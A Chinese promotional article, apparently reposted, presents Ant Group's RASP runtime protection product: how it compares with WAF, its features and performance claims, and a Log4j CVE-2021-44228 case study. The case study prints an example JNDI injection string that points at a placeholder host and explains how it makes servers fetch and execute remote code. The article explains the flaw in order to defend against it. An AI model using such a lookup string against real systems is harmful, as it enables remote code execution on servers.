一文读懂RASP运行时防护平台及应用实践

2023-11-06 14:04

本文主要是介绍一文读懂RASP运行时防护平台及应用实践,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

「云原生安全既是一种全新安全理念,也是实现云战略的前提。

基于蚂蚁集团内部多年实践,云原生PaaS平台SOFAStack发布完整的软件供应链安全产品及解决方案,包括静态代码扫描Pinpoint,软件成分分析SCA,交互式安全测试IAST,运行时防护RASP,安全洞察Appinsight等,帮助企业客户应用软件实现『发布前检测,运行时免疫』。

本周,我们将持续分享解读四大产品。」

昨天,我们解析了应用「运行时漏洞发现」场景的软件供应链安全产品——交互式安全测试 IAST ,本文将着重介绍针对「应用上线后安全防护」场景的软件供应链安全产品——RASP 运行时防护平台

应用安全的防护手段

在应用上线前的安全测试工具包含静态代码安全扫描产品 Pinpoint、软件成分分析 SCA 和交互式安全测试 IAST 等,已基本能保障「上线即安全」,但面临外部持续性侵入或恶意攻击,应用在上线后也会设立重重防线保护应用和数据资产。

据 Imperva 公司表示,50% 的数据泄露始于 Web 应用程序。如今在应用上线后的防御产品中最广泛流行的是 WAF,但 WAF 本身的一些局限性(高误报率、低时效性、极易被绕过等)导致应用仍被恶意攻击,这就迫切需要新的应用防护手段加强应用安全。

因此,应用运行时自我保护技术 RASP(Runt ime Applicat ion Self -Prot ect ion)近几年来备受关注,它是一种将防护能力内置或链接至应用程序内部或其运行时环境中的安全技术,该技术由 Gartner 在 2012 年首次提出。RASP与WAF的本质区别:以服务器端请求伪造漏洞 SSRF 为例,对于明文或编码处理过的请求,WAF 都无法发现,攻击者都会拿到结果;而 RASP 是以应用内部行为作为感知视角,无论外部用什么形式输入,最终要生效都会生成一些特定的执行函数,防御仅需要在关键函数入口处把守即可。

WAF识别

RASP识别

因此,业界一般将 WAF 称为边界防御产品,将 RASP 技术称之为「疫苗技术」,RASP 可以提高应用本身的「免疫力」。

蚂蚁RASP产品能力

蚂蚁 RASP 是一款利用应用运行时自我保护技术来发现威胁攻击行为的安全产品。该产品基于蚂蚁自研通用注入底座平台技术,能够根据 Web 相关漏洞特性将检测策略直接注入到被保护应用的服务中,以提供函数级别的实时保护能力。RASP 还能够根据应用程序调用栈的相似性来防御 0day 漏洞,从而有效规避 Web 应用安全风险、发现应用潜在漏洞,并实现应用安全水位的有效提升。

RASP产品价值:

  • 作用于应用运行时,具备数据级安全检测能力,拦截更精准,无需担忧误报。
  • 与应用业务系统强关联但解耦,实现融合式防护,作为一个「守护神」时刻紧密保护业务安全。
  • 联合 WAF,但不取代 WAF,可与边界防御产品共同保护 Web 应用安全。
  • 加固应用自身安全,使应用程序自身具备防护能力而非依赖外界安全产品

RASP产品优势:

  • 丰富的安全防护能力。OWASP 是开放式 Web 应用程序安全项目组织,该组织 2023 年更新「十大安全漏洞列表」(OWASP TOP10),涵盖了Web 应用程序最可能、最常见、最危险的十大漏洞,可帮助公司规范应用程序开发及测试流程,提高 Web 产品的安全性。蚂蚁 RASP 支持检测 JNDI 注入、FastJSON 漏洞、命令执行、反序列化、SSRF 等数十种攻击类型,覆盖 OWASP TOP10。此外,蚂蚁 RASP 还具备检测反绕过 RASP 的技术能力。
  • 不影响网络架构,对业务性能影响较低。蚂蚁 RASP 采用自研的切面注入技术,在研发测试阶段将 Agent 探针注入到应用运行时环境中,无需业务参与即可进行热补丁修复,可在业务无感知的情况下提高安全水位,不仅完全与业务解耦,而且对应用代码的性能影响较低。经内部压测,对业务启动耗时影响 <0.5s ,对业务运行时耗时影响 <0.001s、对 CPU 占用影响 <3.4%。
  • 毫秒级响应,高精准自动拦截。蚂蚁RASP利用轻量的探针安装包堆砌「围墙」,在不采集任何业务数据和不影响应用程序代码和架构的基础上,通过分析应用的上下文信息来检测每一段请求代码,并获得代码可见性,实现对应用服务器下所有 Java 应用的实时防护。
  • 高可读已操作,降低对安全人员的要求。将复杂、专业的函数级策略配置简单化,将策略以防护能力 Jar 包的方式导入平台,清晰易懂;将晦涩难懂的攻击数据直观化、可视化,使得安全防护更简单、更有效,降低对安全专业人员的要求。
  • 联动防护,加固应用安全。蚂蚁 RASP 可结合 Pinpoint/SAST、SCA、IAST 等安全测试产品实现 DevSecOps 安全解决方案,也可对接 WAF、蜜罐、SOC 等平台实现应用上线后的纵深防御。

案例分析

以拦截实时级漏洞 Log4j 为例:

  • 漏洞简介

Apache Log4j2 是一款开源的 Java 日志记录工具,全球大厂几乎都在使用,影响面极广。

2021年 12 月 10 日,Apache Log4j2 爆出远程代码执行漏洞(CNVD-2021-95914、CVE-2021-44228),影响范围:Apache Log4j 2.x < 2.15.0-rc2 ,称为计算机史上核弹级漏洞,黑客可利用该漏洞构造恶意请求,从而实现在目标服务器上执行任意代码。

  • 问题说明

lookup 机制提供了一种在任意位置向 Log4j2 配置添加值的方法,是实现 StrLookup 接口的特殊类型插件,可以使用简单表达式记录动态内容,例如:logger.info("system propety: ${sys:user.dir}")。Log4j2 中的 JNDI 解析器是本次漏洞的源头,JNDI 解析器通过 JDK 获取 JNDI 对象,并使用这个 JNDI 对象替换原有文本进行打印。JNDI 解析器常用的 Shema 是 ldap,例如
jndi:ldap://xxx.xxx.xxx/Exploit,通过 JDK 在攻击者指定的路径中下载一段字节流,并将其反序列化为 Java 对象然后作为 JNDI 对象返回,同时在反序列化过程中会执行字节流中包含的程序。

因此,攻击者一旦能够控制日志打印的内容,即可使目标服务器从攻击者指定的任意地址下载代码字节流,然后攻击者在字节流中附带的代码就会在目标服务器上执行。

  • RASP防御方案与效果

针对于利用 Log4j2 漏洞执行的恶意操作,如:访问控制失效、用户可任意删除/读取/列出/写入 等,RASP 通过检测文件访问路径是否来自用户输入、是否有路径穿越、是否是敏感路径等来判断拦截与否,达到应急止血、高效拦截的效果。

当时在实际拦截中,RASP具体作用如下:

  • 48 小时完成 93% 高危应用生产环境止血
  • 蚂蚁内部 91.5% 的应用靠 RASP 应急修复

未来展望

目前,蚂蚁 RASP 运行时防护平台已被广泛应用于金融、运营商、制造、互联网等各个行业,并经过实践证明能够有效拦截 0Day 攻击。未来,我们将继续提升 RASP 的防御规则,扩大部署规模,并积极探索与 WAF、蜜罐等安全产品的深度融合,以协助企业实现应用安全治理。同时,我们也将加强 RASP 与其他安全产品的联动,如态势感知、入侵检测等,以实现更全面的安全防护。我们相信,通过不断的技术创新和合作,RASP 将成为企业应用安全治理的重要工具,为企业的数字化转型保驾护航。

这篇关于一文读懂RASP运行时防护平台及应用实践的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/357066

相关文章

Spring Boot Actuator应用监控与管理的详细步骤

《SpringBootActuator应用监控与管理的详细步骤》SpringBootActuator是SpringBoot的监控工具,提供健康检查、性能指标、日志管理等核心功能,支持自定义和扩展端... 目录一、 Spring Boot Actuator 概述二、 集成 Spring Boot Actuat

在Java中使用OpenCV实践

《在Java中使用OpenCV实践》用户分享了在Java项目中集成OpenCV4.10.0的实践经验,涵盖库简介、Windows安装、依赖配置及灰度图测试,强调其在图像处理领域的多功能性,并计划后续探... 目录前言一 、OpenCV1.简介2.下载与安装3.目录说明二、在Java项目中使用三 、测试1.测

PyTorch中的词嵌入层(nn.Embedding)详解与实战应用示例

《PyTorch中的词嵌入层(nn.Embedding)详解与实战应用示例》词嵌入解决NLP维度灾难,捕捉语义关系,PyTorch的nn.Embedding模块提供灵活实现,支持参数配置、预训练及变长... 目录一、词嵌入(Word Embedding)简介为什么需要词嵌入?二、PyTorch中的nn.Em

MyBatis-Plus 自动赋值实体字段最佳实践指南

《MyBatis-Plus自动赋值实体字段最佳实践指南》MyBatis-Plus通过@TableField注解与填充策略,实现时间戳、用户信息、逻辑删除等字段的自动填充,减少手动赋值,提升开发效率与... 目录1. MyBATis-Plus 自动赋值概述1.1 适用场景1.2 自动填充的原理1.3 填充策略

MySQL多实例管理如何在一台主机上运行多个mysql

《MySQL多实例管理如何在一台主机上运行多个mysql》文章详解了在Linux主机上通过二进制方式安装MySQL多实例的步骤,涵盖端口配置、数据目录准备、初始化与启动流程,以及排错方法,适用于构建读... 目录一、什么是mysql多实例二、二进制方式安装MySQL1.获取二进制代码包2.安装基础依赖3.清

在IntelliJ IDEA中高效运行与调试Spring Boot项目的实战步骤

《在IntelliJIDEA中高效运行与调试SpringBoot项目的实战步骤》本章详解SpringBoot项目导入IntelliJIDEA的流程,教授运行与调试技巧,包括断点设置与变量查看,奠定... 目录引言:为良驹配上好鞍一、为何选择IntelliJ IDEA?二、实战:导入并运行你的第一个项目步骤1

Linux之platform平台设备驱动详解

《Linux之platform平台设备驱动详解》Linux设备驱动模型中,Platform总线作为虚拟总线统一管理无物理总线依赖的嵌入式设备,通过platform_driver和platform_de... 目录platform驱动注册platform设备注册设备树Platform驱动和设备的关系总结在 l

Olingo分析和实践之EDM 辅助序列化器详解(最佳实践)

《Olingo分析和实践之EDM辅助序列化器详解(最佳实践)》EDM辅助序列化器是ApacheOlingoOData框架中无需完整EDM模型的智能序列化工具,通过运行时类型推断实现灵活数据转换,适用... 目录概念与定义什么是 EDM 辅助序列化器?核心概念设计目标核心特点1. EDM 信息可选2. 智能类

Spring Boot3.0新特性全面解析与应用实战

《SpringBoot3.0新特性全面解析与应用实战》SpringBoot3.0作为Spring生态系统的一个重要里程碑,带来了众多令人兴奋的新特性和改进,本文将深入解析SpringBoot3.0的... 目录核心变化概览Java版本要求提升迁移至Jakarta EE重要新特性详解1. Native Ima

Olingo分析和实践之OData框架核心组件初始化(关键步骤)

《Olingo分析和实践之OData框架核心组件初始化(关键步骤)》ODataSpringBootService通过初始化OData实例和服务元数据,构建框架核心能力与数据模型结构,实现序列化、URI... 目录概述第一步:OData实例创建1.1 OData.newInstance() 详细分析1.1.1